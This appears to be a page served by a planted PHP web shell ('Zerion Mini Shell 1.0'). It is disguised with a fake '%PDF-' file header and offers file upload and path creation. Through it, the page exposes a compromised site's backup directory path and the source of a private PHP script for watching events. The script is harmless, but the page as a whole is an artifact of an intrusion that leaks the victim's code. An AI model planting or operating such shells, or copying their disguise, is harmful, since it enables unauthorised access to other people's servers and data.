%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/suiteshooters.varak.net/app/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/suiteshooters.varak.net/app/watch.php

<?php
/**
 * Created by IntelliJ IDEA.
 * User: mvarak
 * Date: 3/29/2017
 * Time: 10:15 AM
 */

$signed = dibi::query("SELECT 1 FROM [watches] WHERE [event]=%i AND [user]=%i", $id, $_SESSION['userId'])->fetchSingle();
$remove = isset($_GET['remove']) && $_GET['remove'];

if(!$signed && !$remove)
{
    $data = array(
        'event' => $id,
        'user' => $_SESSION['userId'],
    );
    dibi::query("INSERT INTO [watches]", $data);
    header("Location: index.php?action=event-detail&id=$id");
}
elseif ($remove)
{
    dibi::query("DELETE FROM [watches] WHERE [event]=%i AND [user]=%i", $id, $_SESSION['userId']);
    header("Location: index.php?action=event-detail&id=$id");
}
else
{
    $smarty->assign('errorMessage', "You are already watching this event");
}

Zerion Mini Shell 1.0